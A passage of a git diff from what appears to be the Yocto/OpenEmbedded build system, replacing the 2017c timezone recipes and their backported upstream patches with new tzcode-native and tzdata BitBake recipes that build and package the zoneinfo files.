+++ b/meta/recipes-extended/timezone/tzcode-native.bb
@@ -0,0 +1,14 @@
+require timezone.inc
+
+SUMMARY = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
+
+inherit native
+
+EXTRA_OEMAKE += "cc='${CC}'"
+
+do_install () {
+ install -d ${D}${bindir}/
+ install -m 755 zic ${D}${bindir}/
+ install -m 755 zdump ${D}${bindir}/
+ install -m 755 tzselect ${D}${bindir}/
+}
diff --git a/meta/recipes-extended/timezone/tzdata.bb b/meta/recipes-extended/timezone/tzdata.bb
new file mode 100644
index 0000000000..dd1960ffa7
--- /dev/null
+++ b/meta/recipes-extended/timezone/tzdata.bb
@@ -0,0 +1,204 @@
+require timezone.inc
+
+DEPENDS = "tzcode-native"
+
+inherit allarch
+
+DEFAULT_TIMEZONE ?= "Universal"
+INSTALL_TIMEZONE_FILE ?= "1"
+
+TZONES = " \
+ africa antarctica asia australasia europe northamerica southamerica \
+ factory etcetera backward \
+"
+
+# "slim" is the default since 2020b
+# "fat" is needed by e.g. MariaDB's mysql_tzinfo_to_sql
+ZIC_FMT ?= "slim"
+
+do_configure[cleandirs] = "${B}"
+B = "${WORKDIR}/build"
+
+do_compile() {
+ for zone in ${TZONES}; do
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/posix -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/right -L ${S}/leapseconds ${S}/${zone}
+ done
+}
+
+do_install() {
+ install -d ${D}${datadir}/zoneinfo
+ cp -pPR ${B}/zoneinfo/* ${D}${datadir}/zoneinfo
+
+ # libc is removing zoneinfo files from package
+ cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo
+
+ # Install default timezone
+ if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
+ install -d ${D}${sysconfdir}
+ if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
+ echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
+ fi
+ ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
+ else
+ bberror "DEFAULT_TIMEZONE is set to an invalid value."
+ exit 1
+ fi
+
+ chown -R root:root ${D}
+}
+
+pkg_postinst:${PN}() {
+ etc_lt="$D${sysconfdir}/localtime"
+ src="$D${sysconfdir}/timezone"
+
+ if [ -e "$src" ]; then
+ tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "$src")
+ fi
+
+ if [ ! -z "$tz" -a ! -e "$D${datadir}/zoneinfo/$tz" ]; then
+ echo "You have an invalid TIMEZONE setting in $src"
+ echo "Your $etc_lt has been reset to Universal; enjoy!"
+ tz="Universal"
+ echo "Updating $etc_lt with $D${datadir}/zoneinfo/$tz"
+ if [ -L "$etc_lt" ]; then
+ rm -f "$etc_lt"
+ fi
+ ln -s "${datadir}/zoneinfo/$tz" "$etc_lt"
+ fi
+}
+
+# Packages are primarily organized by directory with a major city in most time
+# zones in the base package
+TZ_PACKAGES = " \
+ tzdata-core tzdata-misc tzdata-posix tzdata-right tzdata-africa \
+ tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \
+ tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific \
+"
+PACKAGES = "${TZ_PACKAGES} ${PN}"
+
+FILES:tzdata-africa += "${datadir}/zoneinfo/Africa"
+
+FILES:tzdata-americas += " \
+ ${datadir}/zoneinfo/America \
+ ${datadir}/zoneinfo/US \
+ ${datadir}/zoneinfo/Brazil \
+ ${datadir}/zoneinfo/Canada \
+ ${datadir}/zoneinfo/Mexico \
+ ${datadir}/zoneinfo/Chile \
+"
+
+FILES:tzdata-antarctica += "${datadir}/zoneinfo/Antarctica"
+
+FILES:tzdata-arctic += "${datadir}/zoneinfo/Arctic"
+
+FILES:tzdata-asia += " \
+ ${datadir}/zoneinfo/Asia \
+ ${datadir}/zoneinfo/Indian \
+ ${datadir}/zoneinfo/Mideast \
+"
+
+FILES:tzdata-atlantic += "${datadir}/zoneinfo/Atlantic"
+
+FILES:tzdata-australia += "${datadir}/zoneinfo/Australia"
+
+FILES:tzdata-europe += "${datadir}/zoneinfo/Europe"
+
+FILES:tzdata-pacific += "${datadir}/zoneinfo/Pacific"
+
+FILES:tzdata-posix += "${datadir}/zoneinfo/posix"
+
+FILES:tzdata-right += "${datadir}/zoneinfo/right"
+
+FILES:tzdata-misc += " \
+ ${datadir}/zoneinfo/Cuba \
+ ${datadir}/zoneinfo/Egypt \
+ ${datadir}/zoneinfo/Eire \
+ ${datadir}/zoneinfo/Factory \
+ ${datadir}/zoneinfo/GB-Eire \
+ ${datadir}/zoneinfo/Hongkong \
+ ${datadir}/zoneinfo/Iceland \
+ ${datadir}/zoneinfo/Iran \
+ ${datadir}/zoneinfo/Israel \
+ ${datadir}/zoneinfo/Jamaica \
+ ${datadir}/zoneinfo/Japan \
+ ${datadir}/zoneinfo/Kwajalein \
+ ${datadir}/zoneinfo/Libya \
+ ${datadir}/zoneinfo/Navajo \
+ ${datadir}/zoneinfo/Poland \
+ ${datadir}/zoneinfo/Portugal \
+ ${datadir}/zoneinfo/Singapore \
+ ${datadir}/zoneinfo/Turkey \
+"
+
+FILES:tzdata-core += " \
+ ${sysconfdir}/localtime \
+ ${sysconfdir}/timezone \
+ ${datadir}/zoneinfo/leapseconds \
+ ${datadir}/zoneinfo/leap-seconds.list \
+ ${datadir}/zoneinfo/Pacific/Honolulu \
+ ${datadir}/zoneinfo/America/Anchorage \
+ ${datadir}/zoneinfo/America/Los_Angeles \
+ ${datadir}/zoneinfo/America/Denver \
+ ${datadir}/zoneinfo/America/Chicago \
+ ${datadir}/zoneinfo/America/New_York \
+ ${datadir}/zoneinfo/America/Caracas \
+ ${datadir}/zoneinfo/America/Sao_Paulo \
+ ${datadir}/zoneinfo/Europe/London \
+ ${datadir}/zoneinfo/Europe/Paris \
+ ${datadir}/zoneinfo/Africa/Cairo \
+ ${datadir}/zoneinfo/Europe/Moscow \
+ ${datadir}/zoneinfo/Asia/Dubai \
+ ${datadir}/zoneinfo/Asia/Karachi \
+ ${datadir}/zoneinfo/Asia/Dhaka \
+ ${datadir}/zoneinfo/Asia/Bangkok \
+ ${datadir}/zoneinfo/Asia/Hong_Kong \
+ ${datadir}/zoneinfo/Asia/Tokyo \
+ ${datadir}/zoneinfo/Australia/Darwin \
+ ${datadir}/zoneinfo/Australia/Adelaide \
+ ${datadir}/zoneinfo/Australia/Brisbane \
+ ${datadir}/zoneinfo/Australia/Sydney \
+ ${datadir}/zoneinfo/Pacific/Noumea \
+ ${datadir}/zoneinfo/CET \
+ ${datadir}/zoneinfo/CST6CDT \
+ ${datadir}/zoneinfo/EET \
+ ${datadir}/zoneinfo/EST \
+ ${datadir}/zoneinfo/EST5EDT \
+ ${datadir}/zoneinfo/GB \
+ ${datadir}/zoneinfo/GMT \
+ ${datadir}/zoneinfo/GMT+0 \
+ ${datadir}/zoneinfo/GMT-0 \
+ ${datadir}/zoneinfo/GMT0 \
+ ${datadir}/zoneinfo/Greenwich \
+ ${datadir}/zoneinfo/HST \
+ ${datadir}/zoneinfo/MET \
+ ${datadir}/zoneinfo/MST \
+ ${datadir}/zoneinfo/MST7MDT \
+ ${datadir}/zoneinfo/NZ \
+ ${datadir}/zoneinfo/NZ-CHAT \
+ ${datadir}/zoneinfo/PRC \
+ ${datadir}/zoneinfo/PST8PDT \
+ ${datadir}/zoneinfo/ROC \
+ ${datadir}/zoneinfo/ROK \
+ ${datadir}/zoneinfo/UCT \
+ ${datadir}/zoneinfo/UTC \
+ ${datadir}/zoneinfo/Universal \
+ ${datadir}/zoneinfo/W-SU \
+ ${datadir}/zoneinfo/WET \
+ ${datadir}/zoneinfo/Zulu \
+ ${datadir}/zoneinfo/zone.tab \
+ ${datadir}/zoneinfo/zone1970.tab \
+ ${datadir}/zoneinfo/iso3166.tab \
+ ${datadir}/zoneinfo/Etc \
+"
+
+CONFFILES:tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
+
+ALLOW_EMPTY:${PN} = "1"
+
+RDEPENDS:${PN} = "${TZ_PACKAGES}"
diff --git a/meta/recipes-extended/tzcode/files/0001-Fix-Makefile-quoting-bug.patch b/meta/recipes-extended/tzcode/files/0001-Fix-Makefile-quoting-bug.patch
deleted file mode 100644
index e49fa09647..0000000000
--- a/meta/recipes-extended/tzcode/files/0001-Fix-Makefile-quoting-bug.patch
+++ /dev/null
@@ -1,174 +0,0 @@
-From b520d20b8122a783f99f088758b78d928f70ee34 Mon Sep 17 00:00:00 2001
-From: Paul Eggert <eggert@cs.ucla.edu>
-Date: Mon, 23 Oct 2017 11:42:45 -0700
-Subject: [PATCH] Fix Makefile quoting bug
-
-Problem with INSTALLARGS reported by Zefram in:
-https://mm.icann.org/pipermail/tz/2017-October/025360.html
-Fix similar problems too.
-* Makefile (ZIC_INSTALL, VALIDATE_ENV, CC, install)
-(INSTALL, version, INSTALLARGS, right_posix, posix_right)
-(check_public): Use apostrophes to prevent undesirable
-interpretation of names by the shell. We still do not support
-directory names containing apostrophes or newlines, but this is
-good enough.
-
-Upstream-Status: Backport
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-* NEWS: Mention this.
----
- Makefile | 64 ++++++++++++++++++++++++++++++++--------------------------------
- NEWS | 8 ++++++++
- 2 files changed, 40 insertions(+), 32 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index c92edc0..97649ca 100644
---- a/Makefile
-+++ b/Makefile
-@@ -313,7 +313,7 @@ ZFLAGS=
-
- # How to use zic to install tz binary files.
-
--ZIC_INSTALL= $(ZIC) -d $(DESTDIR)$(TZDIR) $(LEAPSECONDS)
-+ZIC_INSTALL= $(ZIC) -d '$(DESTDIR)$(TZDIR)' $(LEAPSECONDS)
-
- # The name of a Posix-compliant 'awk' on your system.
- AWK= awk
-@@ -341,8 +341,8 @@ SGML_CATALOG_FILES= \
- VALIDATE = nsgmls
- VALIDATE_FLAGS = -s -B -wall -wno-unused-param
- VALIDATE_ENV = \
-- SGML_CATALOG_FILES=$(SGML_CATALOG_FILES) \
-- SGML_SEARCH_PATH=$(SGML_SEARCH_PATH) \
-+ SGML_CATALOG_FILES='$(SGML_CATALOG_FILES)' \
-+ SGML_SEARCH_PATH='$(SGML_SEARCH_PATH)' \
- SP_CHARSET_FIXED=YES \
- SP_ENCODING=UTF-8
-
-@@ -396,7 +396,7 @@ GZIPFLAGS= -9n
- #MAKE= make
-
- cc= cc
--CC= $(cc) -DTZDIR=\"$(TZDIR)\"
-+CC= $(cc) -DTZDIR='"$(TZDIR)"'
-
- AR= ar
-
-@@ -473,29 +473,29 @@ all: tzselect yearistype zic zdump libtz.a $(TABDATA)
- ALL: all date $(ENCHILADA)
-
- install: all $(DATA) $(REDO) $(MANS)
-- mkdir -p $(DESTDIR)$(ETCDIR) $(DESTDIR)$(TZDIR) \
-- $(DESTDIR)$(LIBDIR) \
-- $(DESTDIR)$(MANDIR)/man3 $(DESTDIR)$(MANDIR)/man5 \
-- $(DESTDIR)$(MANDIR)/man8
-+ mkdir -p '$(DESTDIR)$(ETCDIR)' '$(DESTDIR)$(TZDIR)' \
-+ '$(DESTDIR)$(LIBDIR)' \
-+ '$(DESTDIR)$(MANDIR)/man3' '$(DESTDIR)$(MANDIR)/man5' \
-+ '$(DESTDIR)$(MANDIR)/man8'
- $(ZIC_INSTALL) -l $(LOCALTIME) -p $(POSIXRULES)
-- cp -f $(TABDATA) $(DESTDIR)$(TZDIR)/.
-- cp tzselect zic zdump $(DESTDIR)$(ETCDIR)/.
-- cp libtz.a $(DESTDIR)$(LIBDIR)/.
-- $(RANLIB) $(DESTDIR)$(LIBDIR)/libtz.a
-- cp -f newctime.3 newtzset.3 $(DESTDIR)$(MANDIR)/man3/.
-- cp -f tzfile.5 $(DESTDIR)$(MANDIR)/man5/.
-- cp -f tzselect.8 zdump.8 zic.8 $(DESTDIR)$(MANDIR)/man8/.
-+ cp -f $(TABDATA) '$(DESTDIR)$(TZDIR)/.'
-+ cp tzselect zic zdump '$(DESTDIR)$(ETCDIR)/.'
-+ cp libtz.a '$(DESTDIR)$(LIBDIR)/.'
-+ $(RANLIB) '$(DESTDIR)$(LIBDIR)/libtz.a'
-+ cp -f newctime.3 newtzset.3 '$(DESTDIR)$(MANDIR)/man3/.'
-+ cp -f tzfile.5 '$(DESTDIR)$(MANDIR)/man5/.'
-+ cp -f tzselect.8 zdump.8 zic.8 '$(DESTDIR)$(MANDIR)/man8/.'
-
- INSTALL: ALL install date.1
-- mkdir -p $(DESTDIR)$(BINDIR) $(DESTDIR)$(MANDIR)/man1
-- cp date $(DESTDIR)$(BINDIR)/.
-- cp -f date.1 $(DESTDIR)$(MANDIR)/man1/.
-+ mkdir -p '$(DESTDIR)$(BINDIR)' '$(DESTDIR)$(MANDIR)/man1'
-+ cp date '$(DESTDIR)$(BINDIR)/.'
-+ cp -f date.1 '$(DESTDIR)$(MANDIR)/man1/.'
-
- version: $(VERSION_DEPS)
- { (type git) >/dev/null 2>&1 && \
- V=`git describe --match '[0-9][0-9][0-9][0-9][a-z]*' \
- --abbrev=7 --dirty` || \
-- V=$(VERSION); } && \
-+ V='$(VERSION)'; } && \
- printf '%s\n' "$$V" >$@.out
- mv $@.out $@
-
-@@ -529,12 +529,12 @@ leapseconds: $(LEAP_DEPS)
- # Arguments to pass to submakes of install_data.
- # They can be overridden by later submake arguments.
- INSTALLARGS = \
-- BACKWARD=$(BACKWARD) \
-- DESTDIR=$(DESTDIR) \
-+ BACKWARD='$(BACKWARD)' \
-+ DESTDIR='$(DESTDIR)' \
- LEAPSECONDS='$(LEAPSECONDS)' \
- PACKRATDATA='$(PACKRATDATA)' \
-- TZDIR=$(TZDIR) \
-- YEARISTYPE=$(YEARISTYPE) \
-+ TZDIR='$(TZDIR)' \
-+ YEARISTYPE='$(YEARISTYPE)' \
- ZIC='$(ZIC)'
-
- # 'make install_data' installs one set of tz binary files.
-@@ -558,16 +558,16 @@ right_only:
- # You must replace all of $(TZDIR) to switch from not using leap seconds
- # to using them, or vice versa.
- right_posix: right_only
-- rm -fr $(DESTDIR)$(TZDIR)-leaps
-- ln -s $(TZDIR_BASENAME) $(DESTDIR)$(TZDIR)-leaps || \
-- $(MAKE) $(INSTALLARGS) TZDIR=$(TZDIR)-leaps right_only
-- $(MAKE) $(INSTALLARGS) TZDIR=$(TZDIR)-posix posix_only
-+ rm -fr '$(DESTDIR)$(TZDIR)-leaps'
-+ ln -s '$(TZDIR_BASENAME)' '$(DESTDIR)$(TZDIR)-leaps' || \
-+ $(MAKE) $(INSTALLARGS) TZDIR='$(TZDIR)-leaps' right_only
-+ $(MAKE) $(INSTALLARGS) TZDIR='$(TZDIR)-posix' posix_only
-
- posix_right: posix_only
-- rm -fr $(DESTDIR)$(TZDIR)-posix
-- ln -s $(TZDIR_BASENAME) $(DESTDIR)$(TZDIR)-posix || \
-- $(MAKE) $(INSTALLARGS) TZDIR=$(TZDIR)-posix posix_only
-- $(MAKE) $(INSTALLARGS) TZDIR=$(TZDIR)-leaps right_only
-+ rm -fr '$(DESTDIR)$(TZDIR)-posix'
-+ ln -s '$(TZDIR_BASENAME)' '$(DESTDIR)$(TZDIR)-posix' || \
-+ $(MAKE) $(INSTALLARGS) TZDIR='$(TZDIR)-posix' posix_only
-+ $(MAKE) $(INSTALLARGS) TZDIR='$(TZDIR)-leaps' right_only
-
- # This obsolescent rule is present for backwards compatibility with
- # tz releases 2014g through 2015g. It should go away eventually.
-@@ -764,7 +764,7 @@ set-timestamps.out: $(ENCHILADA)
-
- check_public:
- $(MAKE) maintainer-clean
-- $(MAKE) "CFLAGS=$(GCC_DEBUG_FLAGS)" ALL
-+ $(MAKE) CFLAGS='$(GCC_DEBUG_FLAGS)' ALL
- mkdir -p public.dir
- for i in $(TDATA) tzdata.zi; do \
- $(zic) -v -d public.dir $$i 2>&1 || exit; \
-diff --git a/NEWS b/NEWS
-index bd2bec2..75ab095 100644
---- a/NEWS
-+++ b/NEWS
-@@ -1,5 +1,13 @@
- News for the tz database
-
-+Unreleased, experimental changes
-+
-+ Changes to build procedure
-+
-+ The Makefile now quotes values like BACKWARD more carefully when
-+ passing them to the shell. (Problem reported by Zefram.)
-+
-+
- Release 2017c - 2017-10-20 14:49:34 -0700
-
- Briefly:
---
-2.7.4
-
diff --git a/meta/recipes-extended/tzcode/files/0002-Port-zdump-to-C90-snprintf.patch b/meta/recipes-extended/tzcode/files/0002-Port-zdump-to-C90-snprintf.patch
deleted file mode 100644
index 87afe47694..0000000000
--- a/meta/recipes-extended/tzcode/files/0002-Port-zdump-to-C90-snprintf.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-From e231da4fb2beb17c60b4b1a5c276366d6a6e433f Mon Sep 17 00:00:00 2001
-From: Paul Eggert <eggert@cs.ucla.edu>
-Date: Mon, 23 Oct 2017 17:58:36 -0700
-Subject: [PATCH] Port zdump to C90 + snprintf
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Problem reported by Jon Skeet in:
-https://mm.icann.org/pipermail/tz/2017-October/025362.html
-* NEWS: Mention this.
-* zdump.c (my_snprintf): New macro or function. If a macro, it is
-just snprintf. If a function, it is the same as the old snprintf
-static function, with an ATTRIBUTE_FORMAT to pacify modern GCC.
-All uses of snprintf changed to use my_snprintf. This way,
-installers don’t need to specify -DHAVE_SNPRINTF if they are using
-a pre-C99 compiler with a library that has snprintf.
-
-Upstream-Status: Backport
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
----
- NEWS | 4 ++++
- zdump.c | 29 ++++++++++++++++-------------
- 2 files changed, 20 insertions(+), 13 deletions(-)
-
-diff --git a/NEWS b/NEWS
-index 75ab095..dea08b8 100644
---- a/NEWS
-+++ b/NEWS
-@@ -7,6 +7,10 @@ Unreleased, experimental changes
- The Makefile now quotes values like BACKWARD more carefully when
- passing them to the shell. (Problem reported by Zefram.)
-
-+ Builders no longer need to specify -DHAVE_SNPRINTF on platforms
-+ that have snprintf and use pre-C99 compilers. (Problem reported
-+ by Jon Skeet.)
-+
-
- Release 2017c - 2017-10-20 14:49:34 -0700
-
-diff --git a/zdump.c b/zdump.c
-index 8e3bf3e..d4e6084 100644
---- a/zdump.c
-+++ b/zdump.c
-@@ -795,12 +795,14 @@ show(timezone_t tz, char *zone, time_t t, bool v)
- abbrok(abbr(tmp), zone);
- }
-
--#if !HAVE_SNPRINTF
-+#if HAVE_SNPRINTF
-+# define my_snprintf snprintf
-+#else
- # include <stdarg.h>
-
- /* A substitute for snprintf that is good enough for zdump. */
--static int
--snprintf(char *s, size_t size, char const *format, ...)
-+static int ATTRIBUTE_FORMAT((printf, 3, 4))
-+my_snprintf(char *s, size_t size, char const *format, ...)
- {
- int n;
- va_list args;
-@@ -839,10 +841,10 @@ format_local_time(char *buf, size_t size, struct tm const *tm)
- {
- int ss = tm->tm_sec, mm = tm->tm_min, hh = tm->tm_hour;
- return (ss
-- ? snprintf(buf, size, "%02d:%02d:%02d", hh, mm, ss)
-+ ? my_snprintf(buf, size, "%02d:%02d:%02d", hh, mm, ss)
- : mm
-- ? snprintf(buf, size, "%02d:%02d", hh, mm)
-- : snprintf(buf, size, "%02d", hh));
-+ ? my_snprintf(buf, size, "%02d:%02d", hh, mm)
-+ : my_snprintf(buf, size, "%02d", hh));
- }
-
- /* Store into BUF, of size SIZE, a formatted UTC offset for the
-@@ -877,10 +879,10 @@ format_utc_offset(char *buf, size_t size, struct tm const *tm, time_t t)
- mm = off / 60 % 60;
- hh = off / 60 / 60;
- return (ss || 100 <= hh
-- ? snprintf(buf, size, "%c%02ld%02d%02d", sign, hh, mm, ss)
-+ ? my_snprintf(buf, size, "%c%02ld%02d%02d", sign, hh, mm, ss)
- : mm
-- ? snprintf(buf, size, "%c%02ld%02d", sign, hh, mm)
-- : snprintf(buf, size, "%c%02ld", sign, hh));
-+ ? my_snprintf(buf, size, "%c%02ld%02d", sign, hh, mm)
-+ : my_snprintf(buf, size, "%c%02ld", sign, hh));
- }
-
- /* Store into BUF (of size SIZE) a quoted string representation of P.
-@@ -983,15 +985,16 @@ istrftime(char *buf, size_t size, char const *time_fmt,
- for (abp = ab; is_alpha(*abp); abp++)
- continue;
- len = (!*abp && *ab
-- ? snprintf(b, s, "%s", ab)
-+ ? my_snprintf(b, s, "%s", ab)
- : format_quoted_string(b, s, ab));
- if (s <= len)
- return false;
- b += len, s -= len;
- }
-- formatted_len = (tm->tm_isdst
-- ? snprintf(b, s, &"\t\t%d"[show_abbr], tm->tm_isdst)
-- : 0);
-+ formatted_len
-+ = (tm->tm_isdst
-+ ? my_snprintf(b, s, &"\t\t%d"[show_abbr], tm->tm_isdst)
-+ : 0);
- }
- break;
- }
---
-2.7.4
-
diff --git a/meta/recipes-extended/tzcode/tzcode-native_2017c.bb b/meta/recipes-extended/tzcode/tzcode-native_2017c.bb
deleted file mode 100644
index aeaef726bc..0000000000
--- a/meta/recipes-extended/tzcode/tzcode-native_2017c.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-# note that we allow for us to use data later than our code version
-#
-SUMMARY = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
-LICENSE = "PD & BSD & BSD-3-Clause"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba"
-
-SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode \
- http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata \
- file://0001-Fix-Makefile-quoting-bug.patch \
- file://0002-Port-zdump-to-C90-snprintf.patch"
-
-UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones"
-
-SRC_URI[tzcode.md5sum] = "2fe6986231db5182c61d565021a0cd7b"
-SRC_URI[tzcode.sha256sum] = "81e8b4bc23e60906640c266bbff3789661e22f0fa29fe61b96ec7c2816c079b7"
-SRC_URI[tzdata.md5sum] = "1e751e7e08f8b68530674f04619d894d"
-SRC_URI[tzdata.sha256sum] = "d6543f92a929826318e2f44ff3a7611ce5f565a43e10250b42599d0ba4cbd90b"
-
-S = "${WORKDIR}"
-
-inherit native
-
-EXTRA_OEMAKE += "cc='${CC}'"
-
-do_install () {
- install -d ${D}${bindir}/
- install -m 755 zic ${D}${bindir}/
- install -m 755 zdump ${D}${bindir}/
- install -m 755 tzselect ${D}${bindir}/
-}
diff --git a/meta/recipes-extended/tzdata/tzdata_2017c.bb b/meta/recipes-extended/tzdata/tzdata_2017c.bb
deleted file mode 100644
index 9e5b929e99..0000000000
--- a/meta/recipes-extended/tzdata/tzdata_2017c.bb
+++ /dev/null
@@ -1,215 +0,0 @@
-SUMMARY = "Timezone data"
-HOMEPAGE = "http://www.iana.org/time-zones"
-SECTION = "base"
-LICENSE = "PD & BSD & BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba"
-
-DEPENDS = "tzcode-native"
-
-SRC_URI = "http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata"
-UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones"
-
-SRC_URI[tzdata.md5sum] = "1e751e7e08f8b68530674f04619d894d"
-SRC_URI[tzdata.sha256sum] = "d6543f92a929826318e2f44ff3a7611ce5f565a43e10250b42599d0ba4cbd90b"
-
-inherit allarch
-
-RCONFLICTS_${PN} = "timezones timezone-africa timezone-america timezone-antarctica \
- timezone-arctic timezone-asia timezone-atlantic \
- timezone-australia timezone-europe timezone-indian \
- timezone-iso3166.tab timezone-pacific timezone-zone.tab"
-
-S = "${WORKDIR}"
-
-DEFAULT_TIMEZONE ?= "Universal"
-INSTALL_TIMEZONE_FILE ?= "1"
-
-TZONES= "africa antarctica asia australasia europe northamerica southamerica \
- factory etcetera backward systemv \
- "
-# pacificnew
-
-do_compile () {
- for zone in ${TZONES}; do \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- done
-}
-
-do_install () {
- install -d ${D}/$exec_prefix ${D}${datadir}/zoneinfo
- cp -pPR ${S}/$exec_prefix ${D}/
- # libc is removing zoneinfo files from package
- cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
-
- # Install default timezone
- if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
- install -d ${D}${sysconfdir}
- if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
- echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
- fi
- ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
- else
- bberror "DEFAULT_TIMEZONE is set to an invalid value."
- exit 1
- fi
-
- chown -R root:root ${D}
-}
-
-pkg_postinst_${PN} () {
- etc_lt="$D${sysconfdir}/localtime"
- src="$D${sysconfdir}/timezone"
-
- if [ -e ${src} ] ; then
- tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "${src}")
- fi
-
- if [ -z "${tz}" ] ; then
- exit 0
- fi
-
- if [ ! -e "$D${datadir}/zoneinfo/${tz}" ] ; then
- echo "You have an invalid TIMEZONE setting in ${src}"
- echo "Your ${etc_lt} has been reset to Universal; enjoy!"
- tz="Universal"
- echo "Updating ${etc_lt} with $D${datadir}/zoneinfo/${tz}"
- if [ -L ${etc_lt} ] ; then
- rm -f "${etc_lt}"
- fi
- ln -s "${datadir}/zoneinfo/${tz}" "${etc_lt}"
- fi
-}
-
-# Packages primarily organized by directory with a major city
-# in most time zones in the base package
-
-PACKAGES = "tzdata tzdata-misc tzdata-posix tzdata-right tzdata-africa \
- tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \
- tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific"
-
-FILES_tzdata-africa += "${datadir}/zoneinfo/Africa/*"
-RPROVIDES_tzdata-africa = "tzdata-africa"
-
-FILES_tzdata-americas += "${datadir}/zoneinfo/America/* \
- ${datadir}/zoneinfo/US/* \
- ${datadir}/zoneinfo/Brazil/* \
- ${datadir}/zoneinfo/Canada/* \
- ${datadir}/zoneinfo/Mexico/* \
- ${datadir}/zoneinfo/Chile/*"
-RPROVIDES_tzdata-americas = "tzdata-americas"
-
-FILES_tzdata-antarctica += "${datadir}/zoneinfo/Antarctica/*"
-RPROVIDES_tzdata-antarctica = "tzdata-antarctica"
-
-FILES_tzdata-arctic += "${datadir}/zoneinfo/Arctic/*"
-RPROVIDES_tzdata-arctic = "tzdata-arctic"
-
-FILES_tzdata-asia += "${datadir}/zoneinfo/Asia/* \
- ${datadir}/zoneinfo/Indian/* \
- ${datadir}/zoneinfo/Mideast/*"
-RPROVIDES_tzdata-asia = "tzdata-asia"
-
-FILES_tzdata-atlantic += "${datadir}/zoneinfo/Atlantic/*"
-RPROVIDES_tzdata-atlantic = "tzdata-atlantic"
-
-FILES_tzdata-australia += "${datadir}/zoneinfo/Australia/*"
-RPROVIDES_tzdata-australia = "tzdata-australia"
-
-FILES_tzdata-europe += "${datadir}/zoneinfo/Europe/*"
-RPROVIDES_tzdata-europe = "tzdata-europe"
-
-FILES_tzdata-pacific += "${datadir}/zoneinfo/Pacific/*"
-RPROVIDES_tzdata-pacific = "tzdata-pacific"
-
-FILES_tzdata-posix += "${datadir}/zoneinfo/posix/*"
-RPROVIDES_tzdata-posix = "tzdata-posix"
-
-FILES_tzdata-right += "${datadir}/zoneinfo/right/*"
-RPROVIDES_tzdata-right = "tzdata-right"
-
-
-FILES_tzdata-misc += "${datadir}/zoneinfo/Cuba \
- ${datadir}/zoneinfo/Egypt \
- ${datadir}/zoneinfo/Eire \
- ${datadir}/zoneinfo/Factory \
- ${datadir}/zoneinfo/GB-Eire \
- ${datadir}/zoneinfo/Hongkong \
- ${datadir}/zoneinfo/Iceland \
- ${datadir}/zoneinfo/Iran \
- ${datadir}/zoneinfo/Israel \
- ${datadir}/zoneinfo/Jamaica \
- ${datadir}/zoneinfo/Japan \
- ${datadir}/zoneinfo/Kwajalein \
- ${datadir}/zoneinfo/Libya \
- ${datadir}/zoneinfo/Navajo \
- ${datadir}/zoneinfo/Poland \
- ${datadir}/zoneinfo/Portugal \
- ${datadir}/zoneinfo/Singapore \
- ${datadir}/zoneinfo/Turkey"
-RPROVIDES_tzdata-misc = "tzdata-misc"
-
-
-FILES_${PN} += "${datadir}/zoneinfo/Pacific/Honolulu \
- ${datadir}/zoneinfo/America/Anchorage \
- ${datadir}/zoneinfo/America/Los_Angeles \
